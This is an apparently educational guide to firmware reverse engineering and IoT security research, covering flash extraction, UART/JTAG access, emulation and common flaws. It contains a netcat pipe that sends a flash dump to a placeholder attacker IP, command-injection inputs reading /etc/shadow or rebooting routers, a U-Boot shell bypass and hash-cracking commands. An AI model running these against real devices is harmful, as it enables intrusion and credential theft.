Authorized environments only. Guide to extracting, analyzing, and exploiting firmware from embedded devices (routers, IoT devices, cameras, smart-home devices) for security research and vulnerability discovery. Operate on hardware/images you own or have written authorization to test; observe DMCA §1201 limits. See Legal & Ethics.


Table of Contents

  1. Overview
  2. Pre-Engagement & Authorization
  3. Firmware Acquisition
  4. Firmware Analysis
  5. Filesystem Extraction
  6. Binary Analysis
  7. Hardware Interfaces
  8. Emulation & Dynamic Analysis
  9. Common Vulnerabilities
  10. Exploitation Techniques
  11. Tools Reference

Overview

What is Firmware?

Firmware is software embedded in hardware devices that controls device functionality. Unlike desktop software, firmware:

  • Runs on resource-constrained embedded processors (ARM, MIPS, PowerPC)
  • Often uses custom Linux distributions (embedded Linux, BusyBox)
  • May use Real-Time Operating Systems (RTOS) or bare-metal code
  • Stored in non-volatile memory (flash, EEPROM, ROM)

Common embedded devices:

  • Network devices: Routers, switches, access points, firewalls
  • IoT devices: Smart cameras, door locks, thermostats, light bulbs
  • Industrial control: PLCs (Programmable Logic Controllers), SCADA systems
  • Consumer electronics: Smart TVs, set-top boxes, printers
  • Automotive: Car infotainment systems, ECUs (Engine Control Units)

Why Reverse Firmware?

Security research:

  • Discover vulnerabilities (command injection, authentication bypass, hardcoded credentials)
  • Analyze encryption implementations
  • Understand attack surface before pentesting

Compatibility & interoperability:

  • Reverse proprietary protocols
  • Enable third-party firmware (OpenWrt, DD-WRT)

Forensics:

  • Recover deleted data from devices
  • Analyze malware on IoT devices
  • Incident response for compromised embedded systems

Threat Model

Attacker capabilities:

  • Remote attacker: Network access only (web interface, network services)
  • Local network attacker: LAN access (MITM, spoofing)
  • Physical access: UART/JTAG debugging, firmware extraction, hardware modification
  • Insider threat: Supply chain attacks, malicious firmware updates

Common attack vectors:

  • Unauthenticated web interfaces
  • Default/hardcoded credentials
  • Command injection in web parameters
  • Buffer overflows in network services
  • Insecure firmware update mechanisms

Legal risks:

  • DMCA Section 1201 (US): Prohibits circumventing access controls (encryption, code signing)
  • CFAA: Unauthorized access to computer systems
  • Warranty void: Hardware modification may void warranties
  • Responsible disclosure: Report vulnerabilities to vendors before public disclosure

Ethical guidelines:

  • ✅ Security research on devices you own
  • ✅ Responsible vulnerability disclosure (CVE, vendor coordination)
  • ✅ Improving device security (custom firmware, patches)
  • ❌ Attacking devices you don’t own without authorization
  • ❌ Weaponizing vulnerabilities for malicious purposes

Pre-Engagement & Authorization

Firmware reverse engineering can permanently damage hardware (chip-off extraction, voltage glitching, decapsulation) and can cross statutory access-control lines (DMCA §1201, CFAA) before a single binary is loaded into a disassembler. Treat bench setup and the authorization paper trail as part of the engagement, not as paperwork done after the fact. The ### Legal & Ethical Considerations block under §Overview captures the field-specific reminders; this section is the engagement-start checklist.

Authorization Checklist

  • Target hardware is your own property, a vendor-issued sample covered by a signed agreement, or in scope for a bug-bounty / VDP that explicitly permits firmware extraction and reversing.
  • Destructive vs. non-destructive techniques scoped in writing — chip-off desoldering destroys the device; in-circuit SOIC clip reads are non-destructive but a stray write or shorted VCC can brick the board. Sacrificial donor unit on hand for any non-zero brick risk.
  • SPI / I2C / JTAG / SWD / UART probing authorized; voltage glitching, EM fault injection, and chip decapsulation explicitly called out (or excluded) since they can permanently damage hardware and trip tamper sensors.
  • DMCA §1201 security-research exemption applicability reviewed for US work — confirm the current Library of Congress triennial-cycle exemption is in effect (most recent renewal was the 2024 cycle [verify 2026-04-26]). CFAA boundary respected (your own devices fine; third-party devices without authorization → consult counsel).
  • FCC Part 15 / CE / national equivalents acknowledged if any test step involves RF transmission, signal injection, or modified-emission devices coming up unexpectedly during boot.
  • Supply-chain handling agreed: extracted firmware blobs, encryption keys, and signing material are not redistributed without vendor authorization or a clear DMCA exemption.
  • Disclosure pathway (vendor PSIRT, ICS-CERT / CISA for OT and medical devices, platform triage) identified before reversing reveals exploitable findings.
  • Jurisdictional and licence framing — see Legal & Ethics; do not re-derive here.

Lab Environment Requirements

  • Dedicated ESD-safe bench: wrist strap, anti-static mat, grounded soldering iron and hot-air station kept separate from shared workspaces.
  • Flasher and probe rig pre-tested on a sacrificial board before touching the target — typical kit: CH341A (3.3V SPI; 1.8V chips need a level shifter or a 1.8V variant rig), Bus Pirate, Saleae or DSLogic logic analyzer, J-Link / Black Magic Probe / ST-Link for SWD, FlashcatUSB or XGecu T48 / T56 for wider chip support [verify 2026-04-26].
  • Emulation harness pre-built for the target architecture: Firmadyne (largely unmaintained — last meaningful upstream activity ~2020 [verify 2026-04-26]) / FAT / FirmAE for MIPS and ARM Linux images, qemu-system-{arm,mips,ppc} for kernels, unicorn / qiling for selective binary emulation. Prefer FirmAE or FAT for new work; keep Firmadyne notes for legacy comparability.
  • Static-analysis project pre-loaded (Ghidra, Binary Ninja, IDA Pro, or radare2) with the correct processor variant, endianness, and load address before extraction begins so triage is not blocked on tool setup.
  • Extraction sandbox isolated from the host: binwalk, unblob (OnekeyLab Rust+Python rewrite [verify 2026-04-26]), sasquatch, jefferson, ubi_reader run inside a VM or container — embedded archive parsers have a long history of path-traversal and decompression-bomb issues.
  • OpenOCD or probe-rs configuration drafted for the target SoC (TAP IDCODE, IR length, voltage) before clipping onto a live board; misaligned voltage can damage the SoC or the probe. probe-rs is the actively-developed Rust-native option for ARM Cortex-M and RISC-V SWD/JTAG work [verify 2026-04-26]; OpenOCD remains the broader-architecture default.
  • RF-bearing devices handled in a Faraday bag or shielded enclosure when transmitters can come up unexpectedly during boot or test.

Disclosure-Ready Posture

Set up evidence handling at engagement start so the report does not have to be reconstructed after the bug is found:

  • Hash and timestamp the original firmware extraction immediately (sha256sum dump.bin, store alongside extraction date, programmer model, VCC, and read-count) — re-reads taken later will diverge if the chip has wear-leveling, OTP regions, or counter-incrementing storage.
  • Board-photograph evidence: top and bottom of PCB, close-ups of every chip marking (manufacturer logo, part number, date code, lot code), board revision silkscreen, FCC ID / IC ID / CE marking, and the test-point / header layout used.
  • Serial-console transcript captured to disk with timestamps (tee, minicom -C, or picocom --logfile) for any UART / U-Boot session — bootloader banners, kernel command lines, and early init output are often part of the disclosure write-up.
  • Vendor disclosure intake researched before reversing yields exploitable findings: security.txt, PSIRT page, CNA scope (firmware vendors are often their own CNA), ICS-CERT / CISA for OT and medical devices, and any platform program (HackerOne, Bugcrowd, Intigriti) covering the device.
  • CVE reservation timeline drafted; if the bug touches multiple vendors (shared SDK, common Linux kernel CVE backport, OEM/ODM rebrand), embargo coordination scoped through the relevant CNA early.
  • Evidence chain-of-custody logged per Collection Log; final report packaging, IOC defanging, and embargo communications follow Reporting, Packaging & Disclosure. OPSEC for tooling, accounts, and lab traffic per OPSEC Plan.

Firmware Acquisition

Method 1: Download from Vendor Website

Easiest method - many vendors provide firmware updates for download.

Finding firmware:

# Google search:
site:vendor.com "firmware update" "download"
 
# Example (TP-Link router):
# https://www.tp-link.com/us/support/download/
 
# Download firmware:
wget https://static.tp-link.com/...firmware.bin
 
# Verify hash (if vendor provides):
sha256sum firmware.bin
# Compare with vendor-provided SHA-256 hash

Firmware update file types:

  • .bin - Raw binary image
  • .img - Disk image
  • .zip / .tar.gz - Compressed archive
  • .trx - TRX firmware format (Broadcom routers)
  • .chk - Netgear firmware format
  • Vendor-specific formats (encrypted or obfuscated)

Method 2: Intercept Firmware Update

If vendor doesn’t provide direct download, intercept update traffic.

Setup:

# Wireshark capture during firmware update:
# 1. Start Wireshark on network interface
# 2. Filter: http or dns
# 3. Trigger firmware update from device web interface
# 4. Look for HTTP GET/POST to download URL
 
# Example captured URL:
# http://update.vendor.com/firmware/device_v1.2.3.bin
 
# Download:
wget http://update.vendor.com/firmware/device_v1.2.3.bin

HTTPS interception (if update is encrypted):

# Use Burp Suite or mitmproxy as HTTPS proxy:
# 1. Configure device to use proxy (if possible)
# 2. Install proxy CA certificate on device (if possible)
# 3. Capture firmware download URL
 
# If device validates certificate (common), this won't work
# Fall back to hardware extraction

Method 3: Extract from Flash Memory (Hardware)

Required when:

  • Vendor doesn’t provide firmware
  • Firmware is encrypted during updates
  • Need to analyze modified/infected firmware

Hardware required:

  • Flash programmer: Bus Pirate, CH341A USB programmer, Raspberry Pi
  • Chip clip or soldering iron: To connect to flash chip
  • Multimeter: To identify voltage levels

Common flash memory types:

TypeInterfaceCapacityCommon Use
SPI NOR Flash (25-series)SPI (4-8 pins)1-256 MB (W25Q32/64/128/256, MX25-series common in 2026) [verify 2026-04-26]Routers, IoT
SPI NAND FlashSPI (4-8 pins)128 MB - 4 GBMid-range IoT, cameras
Parallel NAND FlashParallel (8/16-bit)128 MB - 32 GBSmartphones, tablets
eMMCMMC interface4-256 GBAndroid devices, embedded Linux
UFSHigh-speed serial32 GB - 1 TBModern smartphones [verify 2026-04-26]
I2C EEPROM (24-series)I2C (2 pins)1-512 KBSmall devices, config storage

Extracting SPI flash (most common):

Step 1: Identify flash chip

# Open device, locate flash chip on PCB
# Common SPI flash chips: Winbond W25Q32/64/128/256, Macronix MX25L/MX25R, GigaDevice GD25Q, ISSI IS25LP, Cypress/Infineon S25FL [verify 2026-04-26]
 
# Example chip markings:
# Winbond
# 25Q64FVSIG
# 1234567890  (date code)
 
# Datasheet: Google "W25Q64 datasheet" (or matching part number)
# Pinout (SOIC-8):
# Pin 1: /CS (Chip Select)
# Pin 2: DO (Data Out / MISO)
# Pin 3: /WP (Write Protect)
# Pin 4: GND
# Pin 5: DI (Data In / MOSI)
# Pin 6: CLK (Clock)
# Pin 7: /HOLD
# Pin 8: VCC (3.3V)

Step 2: Connect flash programmer

Using CH341A USB programmer:

# CH341A wiring to SPI flash (SOIC-8):
# CH341A    | SPI Flash Pin | Function
# --------- | ------------- | --------
# VCC (3.3V)| Pin 8         | Power
# GND       | Pin 4         | Ground
# CS        | Pin 1         | Chip Select
# MISO      | Pin 2         | Data Out
# MOSI      | Pin 5         | Data In
# CLK       | Pin 6         | Clock
 
# Option 1: Use chip clip (no soldering)
# Attach SOIC-8 clip to chip while on PCB
 
# Option 2: Desolder chip (more reliable)
# Use hot air station or soldering iron
# Place chip in ZIF socket on CH341A programmer

Step 3: Read flash memory

# Linux: Install flashrom (distro version is often old; build from
# https://github.com/flashrom/flashrom for the latest chip database) [verify 2026-04-26]
sudo apt install flashrom
 
# Detect flash chip:
sudo flashrom -p ch341a_spi
 
# Output:
# Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ch341a_spi.
# (If the chip is unsupported, check `flashrom -L` or the upstream supported_chips.txt)
 
# Read flash (3 times to verify integrity):
sudo flashrom -p ch341a_spi -r firmware1.bin
sudo flashrom -p ch341a_spi -r firmware2.bin
sudo flashrom -p ch341a_spi -r firmware3.bin
 
# Verify all reads are identical (compare hashes):
sha256sum firmware*.bin
# All three should have same hash; differences usually mean a flaky clip
# contact, marginal VCC, or a chip with wear-leveling/OTP that mutates on read
 
# Use firmware1.bin for analysis. Hash and timestamp the canonical dump
# now (see Pre-Engagement → Disclosure-Ready Posture).
 
# Alternative client (no flashrom support for the chip): ch341prog
# https://github.com/setarcos/ch341prog [verify 2026-04-26] — read-only operations
# are typically safer to start with than program/erase.

Using Raspberry Pi as SPI programmer:

# Enable SPI on Raspberry Pi:
sudo raspi-config
# Interfacing Options → SPI → Enable
 
# Wiring (Raspberry Pi GPIO to SPI flash):
# RPi GPIO  | SPI Flash Pin | Function
# --------- | ------------- | --------
# Pin 1 (3.3V) | Pin 8      | Power
# Pin 6 (GND)  | Pin 4      | Ground
# Pin 24 (CE0) | Pin 1      | Chip Select
# Pin 21 (MISO)| Pin 2      | Data Out
# Pin 19 (MOSI)| Pin 5      | Data In
# Pin 23 (SCLK)| Pin 6      | Clock
 
# Read flash:
sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 -r firmware.bin

Method 4: UART/Serial Console Extraction

If device has UART debug console, you may be able to dump firmware.

# Connect to UART (see Hardware Interfaces section)
# Common UART commands (BusyBox/Linux):
 
# Dump entire flash partition:
dd if=/dev/mtd0 | nc <attacker_ip> 1234
 
# On attacker machine:
nc -l -p 1234 > firmware.bin
 
# Or use base64 encoding (if binary transfer fails):
dd if=/dev/mtd0 | base64
# Copy output, decode on attacker machine:
base64 -d > firmware.bin

Firmware Analysis

Initial Triage

Determine firmware type and architecture:

# File type detection:
file firmware.bin
# Output examples:
# - "data" (raw binary, compressed, or encrypted)
# - "ELF 32-bit LSB executable, ARM" (Linux kernel or application)
# - "gzip compressed data" (compressed filesystem)
# - "Squashfs filesystem" (embedded filesystem)
 
# Binwalk: Identify embedded files/filesystems
binwalk firmware.bin
 
# Output:
# DECIMAL       HEXADECIMAL     DESCRIPTION
# --------------------------------------------------------------------------------
# 0             0x0             TRX firmware header
# 28            0x1C            LZMA compressed data
# 1048576       0x100000        Squashfs filesystem, little endian, version 4.0
# 5242880       0x500000        JFFS2 filesystem, little endian
 
# Entropy analysis (detect encryption):
binwalk -E firmware.bin
# High entropy (close to 1.0) = encrypted or compressed
# Low entropy = uncompressed data
 
# Strings analysis (look for clues):
strings firmware.bin | grep -i "version\|copyright\|password\|root"

Identify architecture:

# Look for ELF binaries in firmware (after extraction):
file bin/busybox
# Output: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1
 
# Common embedded architectures:
# - ARM (32-bit: ARMv7, 64-bit: ARMv8/AArch64)
# - MIPS (32-bit: MIPS32, 64-bit: MIPS64)
# - PowerPC (PPC)
# - x86/x64 (less common in embedded)

Firmware Unpacking

Automated unpacking with binwalk:

# Extract all embedded files/filesystems:
binwalk -e firmware.bin
 
# Output directory: _firmware.bin.extracted/
# Contains extracted filesystems, compressed data, etc.
 
# Navigate to extracted filesystem:
cd _firmware.bin.extracted/squashfs-root/
ls -la
# Output: bin/ etc/ lib/ sbin/ usr/ var/ www/

Modern alternative — unblob (OnekeyLab):

# unblob is a Rust+Python rewrite focused on accuracy, parallelism, and
# bounded extraction. Useful when binwalk mis-segments a container or
# silently drops a chunk. [verify 2026-04-26]
# https://github.com/onekey-sec/unblob
pipx install unblob
unblob -k -e extracted/ firmware.bin
# -k keeps intermediate carved blobs, -e sets the extraction root.
# Run inside a VM/container — same parser-attack-surface caveats as binwalk.

Manual unpacking (if binwalk fails):

# Example: SquashFS at offset 0x100000
# Extract with dd and unsquashfs:
 
dd if=firmware.bin bs=1 skip=$((0x100000)) of=filesystem.squashfs
unsquashfs filesystem.squashfs
 
# Output: squashfs-root/
 
# Example: JFFS2 filesystem
dd if=firmware.bin bs=1 skip=$((0x500000)) of=filesystem.jffs2
 
# Mount JFFS2 (requires mtd-utils):
sudo modprobe mtdblock
sudo modprobe mtdram total_size=32768 erase_size=256
sudo dd if=filesystem.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2

Handling encrypted firmware:

# Encryption detection:
binwalk -E firmware.bin
# High entropy across entire file = likely encrypted
 
# Decryption strategies:
# 1. Find decryption key in device memory (UART shell, if available)
# 2. Reverse firmware update process (find decryption routine in bootloader/updater)
# 3. Extract key from device flash (may be stored separately)
# 4. Hardware attacks (fault injection, side-channel analysis)
 
# Example: Find AES key in memory dump
strings memory_dump.bin | grep -E "^[0-9a-fA-F]{32}$"  # 128-bit AES key (hex)

Filesystem Extraction

Analyzing Extracted Filesystem

Key directories in embedded Linux:

# Navigate to extracted filesystem:
cd squashfs-root/
 
# Directory structure:
bin/        # Essential binaries (busybox, sh)
sbin/       # System binaries (init, ifconfig)
etc/        # Configuration files (passwd, shadow, init scripts)
lib/        # Shared libraries (libc, libpthread)
usr/        # User programs and libraries
var/        # Variable data (logs, tmp files)
www/        # Web server files (HTML, CGI scripts)
dev/        # Device files (usually empty in filesystem image)
proc/       # Process info (mounted at runtime)
tmp/        # Temporary files

Searching for Sensitive Information

Hardcoded credentials:

# Search for passwords in configuration files:
grep -r "password\|passwd\|pwd" etc/
 
# Common files with credentials:
cat etc/passwd        # User accounts
cat etc/shadow        # Password hashes (if present)
cat etc/config/*      # Vendor-specific config files
 
# Example (TP-Link router):
cat etc/config/account
# username=admin
# password=21232f297a57a5a743894a0e4a801fc3  (MD5 hash of "admin")
 
# Search for API keys, tokens:
grep -r "api_key\|token\|secret" etc/ www/

Backdoor accounts:

# Check for hidden admin accounts:
cat etc/passwd | grep -v "^#"
 
# Example backdoor:
# debug:x:0:0:Debug User:/root:/bin/sh  (UID 0 = root)
 
# Check for SSH authorized_keys:
find . -name "authorized_keys" -exec cat {} \;

Encryption keys:

# Search for SSL/TLS private keys:
find . -name "*.pem" -o -name "*.key"
 
# Example:
cat etc/ssl/private/server.key
# -----BEGIN RSA PRIVATE KEY-----
# ...

Configuration files:

# Web server config:
cat etc/httpd.conf
cat etc/lighttpd/lighttpd.conf
 
# Telnet/SSH config:
cat etc/inetd.conf
cat etc/dropbear/dropbear_rsa_host_key
 
# Wireless config (routers):
cat etc/config/wireless
# Contains WiFi passwords, security settings

Web Application Files

Analyzing web interfaces:

# Web root (common locations):
cd www/
# or
cd usr/www/
# or
cd home/httpd/
 
# Identify web server:
ps aux | grep httpd
# Common embedded web servers: lighttpd, boa, goahead, thttpd
 
# Analyze CGI scripts (common vulnerability source):
find www/ -name "*.cgi" -o -name "*.sh"
 
# Example CGI script:
cat www/cgi-bin/login.cgi

CGI command injection example:

# Vulnerable CGI script (login.cgi):
#!/bin/sh
USERNAME=$1
PASSWORD=$2
 
# Vulnerable: unsanitized input passed to system command
/usr/bin/check_password $USERNAME $PASSWORD
 
# Exploitation (command injection via username parameter):
# http://router.ip/cgi-bin/login.cgi?username=admin;reboot;&password=pass
# Result: Router reboots due to injected "reboot" command

Binary Analysis

Analyzing Embedded Binaries

Common binary types:

  • BusyBox: Single binary with multiple utilities (ls, cat, wget, etc.)
  • Custom daemons: httpd, telnetd, dropbear (SSH), etc.
  • Proprietary applications: Vendor-specific services

Disassembly tools:

# For ARM/MIPS binaries, use:
# - Ghidra (supports ARM, MIPS, PowerPC)
# - IDA Pro (commercial, excellent ARM/MIPS support)
# - Radare2 (free, supports many architectures)
 
# Example: Analyze httpd binary in Ghidra
# 1. Load bin/httpd in Ghidra
# 2. Select architecture: ARM:LE:32:v7 (or MIPS:LE:32:default)
# 3. Analyze with default settings

Finding vulnerabilities in binaries:

1. Stack buffer overflows:

// Vulnerable code (decompiled from httpd):
void handle_request(char *request) {
    char buffer[256];
    strcpy(buffer, request);  // No bounds checking!
    process_request(buffer);
}
 
// Exploitation: Send request > 256 bytes to overflow buffer

2. Format string vulnerabilities:

// Vulnerable code:
void log_message(char *user_input) {
    syslog(LOG_INFO, user_input);  // User input directly in format string!
}
 
// Exploitation:
// Input: "%x %x %x %x" -> Leak stack memory
// Input: "%n" -> Write to arbitrary memory

3. Command injection:

// Vulnerable code (CGI script analysis):
void ping_host(char *ip) {
    char cmd[512];
    sprintf(cmd, "ping -c 1 %s", ip);  // Unsanitized input!
    system(cmd);
}
 
// Exploitation:
// Input: "8.8.8.8; cat /etc/shadow"
// Executed command: "ping -c 1 8.8.8.8; cat /etc/shadow"

Cross-Compilation for Testing

Set up cross-compiler:

# Install ARM cross-compiler (for ARM targets):
sudo apt install gcc-arm-linux-gnueabi g++-arm-linux-gnueabi
 
# Compile exploit:
arm-linux-gnueabi-gcc exploit.c -o exploit -static
 
# Install MIPS cross-compiler (for MIPS targets):
sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
 
# Compile for MIPS:
mipsel-linux-gnu-gcc exploit.c -o exploit -static

Hardware Interfaces

UART (Universal Asynchronous Receiver/Transmitter)

UART is a serial debug console, often exposed on PCB test points.

Finding UART pins:

# Visual inspection:
# Look for 3-4 pins labeled: TX, RX, GND, (VCC)
# Often located near main processor or edge of PCB
 
# Common UART pin configurations:
# 4-pin: VCC, TX, RX, GND
# 3-pin: TX, RX, GND (most common)
 
# Pin identification (if not labeled):
# 1. GND: Use multimeter continuity test to ground (e.g., USB shield)
# 2. VCC: Measure voltage with multimeter (3.3V or 5V when device powered)
# 3. TX: Voltage fluctuates during boot (transmits data)
# 4. RX: Voltage stable (receives data, safe to probe)

UART connection:

# Hardware required:
# - USB-to-UART adapter (FTDI FT232, CP2102, PL2303)
# - Jumper wires
# - Multimeter (to identify pins)
 
# Wiring (device UART to USB adapter):
# Device TX  -> Adapter RX
# Device RX  -> Adapter TX
# Device GND -> Adapter GND
# (Do NOT connect VCC unless necessary - power device separately)
 
# Determine baud rate (common: 115200, 57600, 38400, 9600)
# Try common baud rates in minicom/screen
 
# Linux: Connect via screen
screen /dev/ttyUSB0 115200
 
# Or use minicom:
sudo minicom -D /dev/ttyUSB0 -b 115200
 
# Windows: Use PuTTY or TeraTerm
# Serial, COM3, 115200 baud, 8N1

UART baud rate detection (if unknown):

# Use logic analyzer or oscilloscope to measure bit timing
# Or try common rates:
for baud in 9600 19200 38400 57600 115200 230400; do
    echo "Trying baud rate: $baud"
    screen /dev/ttyUSB0 $baud
    # Press Enter, look for readable output
    # Ctrl+A, K to exit
done

UART shell access:

# Best case: Get root shell directly
# Output during boot:
# ...
# BusyBox v1.28.4 (2023-01-01 12:00:00 UTC) built-in shell (ash)
# Enter 'help' for a list of built-in commands.
#
# / #  (root shell!)
 
# Commands to run:
cat /proc/cpuinfo       # CPU architecture
cat /proc/mtd           # Flash partitions
cat /proc/cmdline       # Kernel boot parameters
ifconfig                # Network configuration
ps aux                  # Running processes
cat /etc/passwd         # User accounts
cat /etc/shadow         # Password hashes (if readable)
 
# Dump firmware from UART:
dd if=/dev/mtd0 | nc <attacker_ip> 1234

Bypassing authentication (if UART is password-protected):

# Method 1: Interrupt bootloader (U-Boot)
# Power on device, press Ctrl+C or Enter repeatedly during boot
# Drop into U-Boot shell:
# U-Boot>
 
# Common U-Boot commands:
printenv                # Show environment variables
setenv bootargs "init=/bin/sh"  # Boot directly to shell (bypass init)
boot                    # Boot with modified parameters
 
# Method 2: Edit kernel cmdline
setenv bootargs "console=ttyS0,115200 init=/bin/sh"
saveenv
boot
 
# Method 3: Single-user mode
setenv bootargs "console=ttyS0,115200 single"
boot

JTAG (Joint Test Action Group)

JTAG is a hardware debugging interface (more powerful than UART).

JTAG capabilities:

  • Full CPU control (set breakpoints, single-step execution)
  • Memory read/write (dump firmware, modify RAM)
  • Flash programming (write new firmware)

Finding JTAG pins:

# Common JTAG pin configurations:
# - 20-pin ARM JTAG (standard)
# - 14-pin JTAG (compact)
# - 10-pin Cortex Debug (ARM Cortex-M)
# - 5-pin JTAG (minimal: TDI, TDO, TMS, TCK, GND)
 
# Pin identification (if not labeled):
# Use JTAGulator (Joe Grand / Grand Idea Studio) or manual probing:
# https://github.com/grandideastudio/jtagulator [verify 2026-04-26]
# Open-source alternative: JTAGenum on Arduino / Teensy
# https://github.com/cyphunk/JTAGenum [verify 2026-04-26]
 
# Common pins:
# TDI  - Test Data In
# TDO  - Test Data Out
# TMS  - Test Mode Select
# TCK  - Test Clock
# TRST - Test Reset (optional)
# GND  - Ground

JTAG connection (using Bus Pirate or J-Link):

# Using OpenOCD (Open On-Chip Debugger) — broadest target coverage.
# probe-rs (https://probe.rs/) is the actively-developed Rust-native
# alternative for ARM Cortex-M and RISC-V SWD/JTAG work, with a single
# `probe-rs` CLI for flashing/debugging/RTT. [verify 2026-04-26]
sudo apt install openocd
 
# Example config (ARM device):
# openocd.cfg:
interface jlink
transport select jtag
adapter speed 1000
jtag newtap chip cpu -irlen 4 -expected-id 0x07926041
target create chip.cpu arm926ejs -chain-position chip.cpu
 
# Connect:
sudo openocd -f openocd.cfg
 
# In another terminal (telnet to OpenOCD):
telnet localhost 4444
 
# OpenOCD commands:
halt                    # Stop CPU
reg                     # Show registers
mdw 0x00000000 256      # Memory dump (256 words from 0x0)
dump_image firmware.bin 0x00000000 0x800000  # Dump 8MB from flash
reset                   # Reset device

SPI (Serial Peripheral Interface)

See Firmware Acquisition → Extract from Flash Memory for SPI flash extraction.


Emulation & Dynamic Analysis

QEMU User-Mode Emulation

Emulate individual binaries (faster than full system emulation).

# Install QEMU user-mode:
sudo apt install qemu-user qemu-user-static
 
# Copy ARM/MIPS binary from firmware:
cp squashfs-root/bin/httpd .
 
# Run ARM binary on x86 host:
qemu-arm -L squashfs-root/ ./httpd
 
# -L: Specify library path (extracted filesystem)
 
# Run with strace (trace system calls):
qemu-arm -L squashfs-root/ -strace ./httpd
 
# Run MIPS binary:
qemu-mipsel -L squashfs-root/ ./httpd

Debugging with GDB:

# Run binary in QEMU with GDB server:
qemu-arm -L squashfs-root/ -g 1234 ./httpd
 
# In another terminal, attach GDB:
gdb-multiarch ./httpd
(gdb) target remote localhost:1234
(gdb) break main
(gdb) continue

QEMU System Emulation

Emulate entire device (router, IoT device).

# Extract kernel and filesystem from firmware:
binwalk -e firmware.bin
 
# Identify kernel:
file _firmware.bin.extracted/*
# Example: _firmware.bin.extracted/1C: Linux kernel ARM boot executable zImage
 
# Extract kernel (if compressed):
binwalk -e _firmware.bin.extracted/1C
 
# Run in QEMU (ARM example):
qemu-system-arm \
    -M versatilepb \
    -kernel vmlinux \
    -initrd filesystem.cpio \
    -append "root=/dev/ram console=ttyAMA0" \
    -nographic
 
# Common QEMU machine types:
# -M versatilepb (ARM)
# -M malta (MIPS)
# -M virt (generic ARM/MIPS)

Firmadyne / FAT / FirmAE (Automated Firmware Emulation)

Firmadyne automates firmware emulation and vulnerability testing. Upstream activity has been minimal since ~2020 [verify 2026-04-26]; for new work prefer FirmAE (pr0v3rbs/FirmAE [verify 2026-04-26]) or FAT (Firmware Analysis Toolkit, see below) which both build on Firmadyne and add modern fix-ups for boot/network bring-up. Steps below remain useful for legacy comparability.

# Install Firmadyne:
git clone https://github.com/firmadyne/firmadyne.git
cd firmadyne
./download.sh  # Download pre-built binaries
 
# Setup database:
sudo apt install postgresql
sudo -u postgres createuser -P firmadyne  # Set password
sudo -u postgres createdb -O firmadyne firmware
 
# Import firmware database:
psql -d firmware -U firmadyne < ./database/schema
 
# Analyze firmware:
./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk firmware.bin images
 
# Emulate firmware:
./scripts/getArch.sh ./images/1.tar.gz
./scripts/makeImage.sh 1
./scripts/inferNetwork.sh 1
./scripts/run.sh 1
 
# Access emulated device:
# Network: 192.168.0.1 (or as detected)
# Web interface: http://192.168.0.1/

FAT (Firmware Analysis Toolkit)

FAT is a wrapper around Firmadyne with additional features.

# Install FAT:
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
 
# Run analysis:
./fat.py firmware.bin
 
# Output:
# - Extracts firmware
# - Emulates in QEMU
# - Runs vulnerability scanners (Nmap, Nessus)
# - Generates report

Common Vulnerabilities

Authentication Bypass

Hardcoded credentials:

# Found in etc/passwd or config files:
# Username: admin
# Password: admin (or default password)
 
# MD5 hash in config:
# password=21232f297a57a5a743894a0e4a801fc3
# Crack with hashcat:
hashcat -m 0 -a 0 hash.txt rockyou.txt
# Result: admin

Backdoor accounts:

# etc/passwd entry:
debug:x:0:0:Debug:/root:/bin/sh
 
# Login via telnet/SSH:
telnet 192.168.1.1
# Username: debug
# Password: (empty or default)

Authentication logic flaws:

// Vulnerable authentication (decompiled from httpd):
if (strcmp(username, "admin") == 0) {
    if (strcmp(password, stored_password) == 0) {
        authenticated = 1;
    }
}
 
// Bypass: If username != "admin", authentication check is skipped
// Exploit: Use any username except "admin" (no password needed)

Command Injection

CGI parameter injection:

# Vulnerable CGI script (/cgi-bin/ping.cgi):
#!/bin/sh
IP=$QUERY_STRING
ping -c 1 $IP > /tmp/ping.txt
cat /tmp/ping.txt
 
# Exploitation:
curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;id"
# Executed command: ping -c 1 8.8.8.8;id
# Output: uid=0(root) gid=0(root) groups=0(root)
 
# Reverse-shell escalation (payload neutralised — defensive/educational scope):
# Same primitive as the `;id` probe above, but the injected command becomes a
# reverse-shell invocation pointing back to operator-controlled infrastructure.
# Working syntax: see HackTricks → "Reverse Shell Cheatsheet" (book.hacktricks.wiki).
# curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;<URL-encoded reverse-shell payload>"

HTTP header injection:

// Vulnerable code:
void handle_user_agent(char *user_agent) {
    char cmd[512];
    sprintf(cmd, "echo %s >> /tmp/log", user_agent);
    system(cmd);
}
 
// Exploitation (User-Agent header — neutralised; pattern only):
// The header value injects a shell metacharacter that is interpreted by the
// system() call, allowing arbitrary command execution under the httpd user.
// Working payloads: see PayloadsAllTheThings → "Command Injection".
User-Agent: test; <command of attacker's choosing>

Buffer Overflows

Stack-based overflow:

// Vulnerable code (httpd):
void process_url(char *url) {
    char buffer[256];
    strcpy(buffer, url);  // No bounds checking
    // ...
}
 
// Exploitation (send long URL):
# Python exploit:
payload = b"A" * 300
requests.get(f"http://router.ip/{payload}")
# Result: Crash (or RCE with proper exploit)

Insecure Firmware Updates

Unsigned firmware updates:

# Firmware update without signature verification
# Attacker can upload malicious firmware
 
# Exploitation:
# 1. Modify legitimate firmware (inject backdoor)
# 2. Upload modified firmware via web interface
# 3. Device installs malicious firmware

Firmware downgrade attacks:

# If device allows downgrade to older, vulnerable firmware:
# 1. Upload old firmware with known vulnerabilities
# 2. Exploit old vulnerabilities

Weak Cryptography

Hardcoded encryption keys:

# Found in binary or config:
AES_KEY = "1234567890ABCDEF1234567890ABCDEF"
 
# Use key to decrypt firmware or communications

Weak password hashing:

# MD5 hashed passwords (etc/shadow):
admin:21232f297a57a5a743894a0e4a801fc3:0:0::/root:/bin/sh
 
# Crack with hashcat:
hashcat -m 0 hash.txt rockyou.txt

Exploitation Techniques

Gaining Shell Access

Method 1: Command injection

# Find an injectable parameter (ping, traceroute, etc.) and chain a payload.
# Reverse-shell payload neutralised — defensive/educational scope.
